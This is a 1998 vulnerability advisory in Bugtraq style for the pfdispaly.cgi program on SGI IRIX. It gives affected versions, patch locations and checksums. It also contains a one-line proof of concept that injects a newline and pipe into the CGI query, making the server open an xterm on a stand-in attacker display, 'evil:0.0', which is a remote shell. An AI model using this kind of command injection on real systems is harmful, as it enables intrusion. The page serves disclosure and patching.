IRIX pfdispaly.cgi Vulnerability

BID:64

Info

IRIX pfdispaly.cgi Vulnerability

Bugtraq ID: 64
Class: Unknown
CVE:
Remote: Yes
Local: No
Published: Apr 07 1998 12:00AM
Updated: Apr 07 1998 12:00AM
Credit: This vulnerability was published as "perfomer_tools again" by J.A. Gutierrez <[email protected]> in the BugTraq mailing list on April 7, 1998.
Vulnerable: SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
Not Vulnerable: SGI IRIX 6.5

Discussion

IRIX pfdispaly.cgi Vulnerability

There exists a security vulnerability with the CGI program pfdispaly.cgi distributed with IRIX. This problem its not fixed by patch 3018.

Exploit / POC

IRIX pfdispaly.cgi Vulnerability

$ lynx -dump http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xterm%20-display%20evil:0.0|'

Solution / Fix

IRIX pfdispaly.cgi Vulnerability

Solution:
Patches are available via anonymous FTP and your service/support provider.

The SGI anonymous FTP site is sgigate.sgi.com (204.94.209.1) or its
mirror, ftp.sgi.com. Security information and patches can be found
in the ~ftp/security and ~ftp/patches directories, respectfully.

##### Patch File Checksums ####

The actual patch will be a tar file containing the following files:

Filename: README.patch.3018
Algorithm #1 (sum -r): 37955 11 README.patch.3018
Algorithm #2 (sum): 15455 11 README.patch.3018
MD5 checksum: 1169EB51D75E0794C64C2C1FD6211B69

Filename: patchSG0003018
Algorithm #1 (sum -r): 01679 2 patchSG0003018
Algorithm #2 (sum): 12876 2 patchSG0003018
MD5 checksum: BD16A53A0AE693D6E9E276EE066BDBC8

Filename: patchSG0003018.idb
Algorithm #1 (sum -r): 01339 2 patchSG0003018.idb
Algorithm #2 (sum): 251 2 patchSG0003018.idb
MD5 checksum: 1CB16E6A8C50BF17CD02A29C2E4D35EB

Filename: patchSG0003018.performer_tools_man
Algorithm #1 (sum -r): 10201 8 patchSG0003018.performer_tools_man
Algorithm #2 (sum): 3144 8 patchSG0003018.performer_tools_man
MD5 checksum: B6B3D90FAB9B5A342397C3E5AF5A8D29

Filename: patchSG0003018.performer_tools_sw
Algorithm #1 (sum -r): 48474 18 patchSG0003018.performer_tools_sw
Algorithm #2 (sum): 28176 18 patchSG0003018.performer_tools_sw
MD5 checksum: DF4E8ED8326A6A0B39F7B4D67E5FD71F

References

IRIX pfdispaly.cgi Vulnerability

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